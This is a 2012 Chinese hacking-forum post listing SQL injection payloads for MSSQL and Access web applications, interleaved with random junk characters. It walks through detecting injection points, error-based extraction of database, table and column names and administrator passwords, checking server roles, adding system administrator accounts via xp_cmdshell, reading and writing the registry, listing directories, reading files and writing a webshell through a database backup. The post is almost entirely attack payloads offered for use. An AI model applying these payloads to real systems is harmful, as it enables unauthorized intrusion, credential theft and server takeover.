找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1932|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入
  ~. ^+ j& v. k2 j;and 1=1
/ _( M5 e8 H0 J9 r8 H;and 1=2
  V/ Q) ]0 k+ X5 {. ]( J% O$ W! w+ W4 d% v0 ?4 d) H
2.初步判断是否是mssql , y7 b: J/ s) K
;and user>0 + K$ X, ]/ [% {3 Q2 j& ]5 h
5 T8 p% u: W  ~' Q& U2 ~# M
3.判断数据库系统
% H/ M1 j# b- t5 l$ z9 o1 p9 w;and (select count(*) from sysobjects)>0 mssql 2 `; x9 Z: S( `2 P2 j
;and (select count(*) from msysobjects)>0 access
5 l0 t+ P/ f( A  L7 z% `7 p, y% t4 s) l. U* J7 N8 k5 y2 d2 M
4.注入参数是字符 . z; e8 O  Z2 i1 |$ U
'and [查询条件] and ''=' " V9 P3 [: \8 G' c5 ^) t& n
: l9 D  m0 z) o& h/ F5 q
5.搜索时没过滤参数的 & k& S  _/ r% c3 c& J
'and [查询条件] and '%25'='
1 V' m4 l% x- U4 }  f- N
/ ~: F: I+ x7 o: {% ]6.猜数表名 6 b3 f& R4 J8 u; s9 q; ]! N
;and (select Count(*) from [表名])>0
" b( w$ W! \0 V) n% p0 d
) M( V& F/ M7 n, f; U& R; ]* n7.猜字段
1 Y! h, O) K" C" ]. Z) J;and (select Count(字段名) from 表名)>0
1 U! u! w/ m4 A  M. x. K% W( q( C: z4 ?) g! F2 |
8.猜字段中记录长度
( i/ _: R5 m7 w9 t* Y' l) N;and (select top 1 len(字段名) from 表名)>0 : Q! ?2 G) s  d7 I  d5 y. O7 A

; i: E8 {( E& Q0 m  Y; N9.(1)猜字段的ascii值(access) 6 v1 V1 i1 U7 B1 ]7 F- v1 s
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 ' M* ~. X5 C# P0 m! `

4 K# M' X: t( w7 {" {; Q/ I$ t(2)猜字段的ascii值(mssql) ) Q8 h) w0 e3 M3 x
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 $ h; T1 K3 I' `8 a" [

: D9 O7 b! Q8 U8 A- n- p10.测试权限结构(mssql) % K/ X7 t2 [8 @9 W4 D$ i9 h
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- - j5 s5 L  e" r5 e% l2 t8 f
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
2 {2 `$ y% a! i" u  }. F;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 3 V0 V) g* t& s4 O# i8 b
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 8 D5 n: `$ s6 n1 e
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- " e5 Y& n+ c, L3 J1 l. {
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
8 G, V, ^; H! v8 D$ @) ~;and 1=(select IS_MEMBER('db_owner'));--
$ d: o% W0 d! @3 q2 W
5 L" U% o& F# m* C. V11.添加mssql和系统的帐户 1 r, o6 F2 P* e3 l8 s# M
;exec master.dbo.sp_addlogin username;--
' P+ Q* O) O) I+ X; n8 h2 e; q;exec master.dbo.sp_password null,username,password;--
$ X! [: U' I, _! e! w) R;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 0 q1 n% f3 S! e+ z0 J
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 5 }" S  ], ~5 O" Y
;exec master.dbo.xp_cmdshell 'net user username password /add';-- * z8 q- |, i/ G3 b0 H9 X: j
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
- R  h, U1 v* E! e  L
- V( [) q) n* ]* O+ S12.(1)遍历目录 3 F. G5 ]5 z0 e$ E9 N" \
;create table dirs(paths varchar(100), id int) 7 y/ o, R, \6 G
;insert dirs exec master.dbo.xp_dirtree 'c:\' , H' E+ D5 b5 ?# j
;and (select top 1 paths from dirs)>0
: r  |1 \% n. ^+ ?- w- W/ c( M1 ^;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
, i# N5 l+ d9 ~" e9 e2 s9 V
+ M' Y' D6 B. _2 [' j(2)遍历目录
7 `1 U8 J6 K& x& I5 C2 ]7 A) `;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- / a- b9 g  l0 Y$ ~+ p
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 * d0 w( ]: C* Z
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 $ |. [+ A4 `% \& k, R
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
' I$ C# `* [6 e$ h1 h5 H1 z;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 3 D9 w) y+ k# x% N9 h# L, L

# f( j8 |1 V" U" a- Q6 ^  Z13.mssql中的存储过程 7 m& o$ |$ n  ~( T
xp_regenumvalues 注册表根键, 子键
% J' ?1 s/ y- ?: |  S2 L;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
; L9 Y+ [/ Y7 Z9 Y1 R% Nxp_regread 根键,子键,键值名 0 G# a7 ?) S! i  N
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 $ t' O% x# R* r6 b* ?, b+ V, k
xp_regwrite 根键,子键, 值名, 值类型, 值 , \+ [( p7 s4 c6 c# x
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
$ H$ W; j  K+ s2 T+ M; ~) x+ ^;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 $ |. t% O" j9 k4 p# O
xp_regdeletevalue 根键,子键,值名
* b7 v0 u3 a+ Pexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
# y! K! y  c7 r, \9 E/ Nxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
* Q, v/ a. U+ g* V6 M% b7 P; y. F# P! G
14.mssql的backup创建webshell / ^; Q- \# D& B' @# O
use model
1 s9 |9 g/ R, `9 R) ?- {# H& N' K+ Ccreate table cmd(str image); : D0 ?+ b! ~9 K( `. R1 t  y; D
insert into cmd(str) values ('<% Dim oScript %>'); 8 R1 S0 v- ^( T
backup database model to disk='c:\l.asp';
$ Q& r8 v; g5 g: d: L# r1 Y  J2 \# {, V
% `- a( i: e9 a. G; s% n3 q; \15.mssql内置函数
' r$ I9 j! O2 Y& m! X2 V;and (select @@version)>0 获得Windows的版本号 3 }; R9 P$ e5 H: m
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 9 h0 y+ p; u- O; E4 A& A& O
;and (select user_name())>0 爆当前系统的连接用户
4 A, Q- |, Y" M2 }, Z9 `;and (select db_name())>0 得到当前连接的数据库
+ P. J9 w+ D7 T# n% j5 V" m- s! F/ B! e/ E( E1 A* H

. K, u1 v& J3 V& }* [$ I3 R6 ?- J: w/ V# b2 @5 ]+ Z$ H: }4 W: h* B4 V. g0 h
MSSQL手注暴库
$ a# `8 ]. E' k# P! j( U5 v5 S3 F) Z; H% v1 V' G
1.暴出当前表名和列名
  a) j: _* t7 `# ?! G" q7 o  W/ h在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
( p) M! [) i! r  [0 s3 Q4 u3 v( _$ `9 r  d
第一.爆出所有数据库名
3 O1 o4 E3 r, Z( w利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
9 E& x6 O& }( N7 M/ s5 t第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
" y$ l: }  L' _+ G7 U4 e5 P6 P& d5 I. ?' q
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名
6 Z( F* y  I5 U2 ~! \' u: d
( `( o; Z8 s+ ~6 U( [0 B  X% }) p: g. t9 S$ ^! ~; M. \! e
第二.爆出指定库中的所有表名
4 j, c1 X% Q$ _1 ~9 ?9 @得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
+ z& D/ j/ C8 C2 x9 J1 s再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
* n' W& v# A7 @9 b* f4 S, j" r1 ~! m, [9 H' H& G. V
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--' P# N8 |9 G) x  v0 D1 D% j
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
1 f. y! C, e: f/ Zand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
3 }1 u6 {# Y( L4 A; E, S
8 Y9 h+ t4 b* [; r2 l& L  U4.爆出指定表中的所有列名4 D, X8 Q, W- e* M+ I- i
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) & K. C! N; h: ~. a' G2 E
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'1 D" t: B5 Q2 `- |  c

- E* l; u! K9 K: |% H- }6 j3 Kand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名, Q$ X  l8 Q# m+ Y8 o

) p, T. C# G% @& h- T) ^再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- ( x4 q, k- e3 ~, s- v; y3 S
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
& c. Q# c0 r( \+ m6 r+ |& D0 C) J$ d: p6 g$ S/ ?- g' u* K8 ^8 @
5 `9 O- h5 B  v* \; d
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值
( n3 G, J+ c7 c8 t1 ^2 y2 }9 S2 A3 d, \# E2 M. f  m8 U( t
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名- O8 Q' ]" \5 }" t4 o3 e4 M

( o2 Z4 b' o" [$ Dand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- ' e- D/ u$ ^# \$ E& t% V5 j( a
9 c* C; Z% ]" z* X! k. c
) m) s, S: m, S, [' U

. s; G0 j1 H+ E1 p+ k0 f5.读取指定表中的数据
6 N9 d3 R8 f4 h5 R4 i) K# F7 K  `7 S. @: R! q
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
; N8 O& P0 F" i1 r' n' K% p
: t  d/ y- J2 s0 ?% Z4 fand 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
% d$ j  p% ?1 f# j+ w8 A/ I
+ U" D2 d0 S% F8 W1 ?5 k' Vand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码- B- }0 k, b8 p5 }- e# d

2 R2 y$ g, k6 g6 u, v+ J, M+ V$ v( z* q. J1 K
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)- F- }& e: v# P$ ^' z4 }( ]9 F7 M( r

1 n4 `5 N" g  P( Z9 H& land 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)
8 M+ L8 c( j: K8 R& P* J2 p" n& h0 E9 _2 U
and 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
( t( `9 j) u* H: c' M( W! ]6 W0 D+ \, D/ u  V" _8 C% n2 Y
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。: X, A* K0 ?+ @4 f) ?  B& s, a3 R
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表